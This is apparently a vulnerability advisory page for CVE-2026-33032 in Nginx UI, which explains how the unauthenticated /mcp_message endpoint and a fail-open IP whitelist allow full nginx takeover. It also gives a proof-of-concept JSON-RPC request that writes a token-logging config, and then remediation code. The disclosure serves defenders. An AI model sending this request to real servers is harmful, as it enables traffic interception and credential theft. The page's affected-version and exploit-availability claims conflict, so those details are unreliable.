CVE-2026-33032: Nginx UI: Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

Published Mar 30, 2026
·
Updated

Summary The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcpmessage. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcpmessage endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.

Details Vulnerable Code

mcp/router.go:9-17 - Auth asymmetry between endpoints

go func InitRouter(r gin.Engine) { r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) }) r.Any("/mcpmessage", middleware.IPWhiteList(), func(c gin.Context) { mcp.ServeHTTP(c) }) }

The /mcp endpoint has middleware.AuthRequired(), but /mcpmessage does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.

internal/middleware/ipwhitelist.go:11-26 - Empty whitelist allows all

go func IPWhiteList() gin.HandlerFunc { return func(c gin.Context) { clientIP := c.ClientIP() if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return } // ... } }

When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.

Available MCP Tools (all invocable without auth)

From mcp/nginx/: - restartnginx - restart the nginx process - reloadnginx - reload nginx configuration - nginxstatus - read nginx status

From mcp/config/: - nginxconfigadd - create new nginx config files - nginxconfigmodify - modify existing config files - nginxconfiglist - list all configurations - nginxconfigget - read config file contents - nginxconfigenable - enable/disable sites - nginxconfigrename - rename config files - nginxconfigmkdir - create directories - nginxconfighistory - view config history - nginxconfigbasepath - get nginx config directory path

Attack Scenario

1. Attacker sends HTTP requests to http://target:9000/mcpmessage (default port) 2. No authentication is required - IP whitelist is empty by default 3. Attacker invokes nginxconfigmodify with relativepath="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers) 4. nginxconfigadd auto-reloads nginx (configadd.go:74), or attacker calls reloadnginx directly 5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied

PoC 1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:

go // Line 10 - /mcp requires auth: r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) })

// Line 14 - /mcpmessage does NOT: r.Any("/mcpmessage", middleware.IPWhiteList(), func(c gin.Context) { mcp.ServeHTTP(c) })

Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.

2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:

go var AuthSettings = &Auth{ BanThresholdMinutes: 10, MaxAttempts: 10, // IPWhiteList is not initialized - defaults to nil/empty slice }

And the middleware at internal/middleware/ipwhitelist.go:14 passes all requests when the list is empty:

go if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return }

3. Config writes auto-reload nginx. From mcp/config/configadd.go:

go err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file // ... res := nginx.Control(nginx.Reload) // Line 74: immediate reload

4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:

http POST /mcpmessage HTTP/1.1 Content-Type: application/json

{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "evil.conf", "content": "server { listen 8443; location / { proxypass http://127.0.0.1:9000; accesslog /etc/nginx/conf.d/tokens.log; } }", "basedir": "conf.d", "overwrite": true, "syncnodeids": [] } }, "id": 1 }

No Authorization header is needed. The config is written and nginx reloads immediately.

Impact - Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart - Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit - Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services - Configuration exfiltration: All existing nginx configs are readable via nginxconfigget, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers - Credential harvesting: By injecting accesslog directives with custom logformat patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST API

Remediation

Add middleware.AuthRequired() to the /mcpmessage route:

go r.Any("/mcpmessage", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) })

Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

Other sources

Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcpmessage. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcpmessage endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. At time of publication, there are no publicly available patches.

MITRE

Affected Software

2 affected components
go/github.com/0xJacky/Nginx-UI<=1.99
NginxUI Nginx UI<=2.3.5

Event History

Mar 30, 2026
Advisory Published
via GitHub·04:43 PM
Data Sourced
via GitHub·04:43 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·05:58 PM
Data Sourced
via MITRE·05:58 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software
Apr 15, 2026
News Published
via BleepingComputer·10:35 PM
News Published
via BleepingComputer·10:37 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33032?

CVE-2026-33032 has been categorized as a high severity vulnerability due to improper authentication on the /mcp_message endpoint.

2

How do I fix CVE-2026-33032?

To remediate CVE-2026-33032, ensure that both the /mcp and /mcp_message endpoints are protected with appropriate authentication and IP whitelisting.

3

What software is affected by CVE-2026-33032?

CVE-2026-33032 affects the Nginx-UI software with versions up to and including 1.99.

4

What are the implications of CVE-2026-33032?

Exploiting CVE-2026-33032 could allow unauthorized access to sensitive operations through the /mcp_message endpoint.

5

Is there a known exploit for CVE-2026-33032?

As of now, there are no publicly documented exploits for CVE-2026-33032, but the vulnerability poses a significant risk if not addressed.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203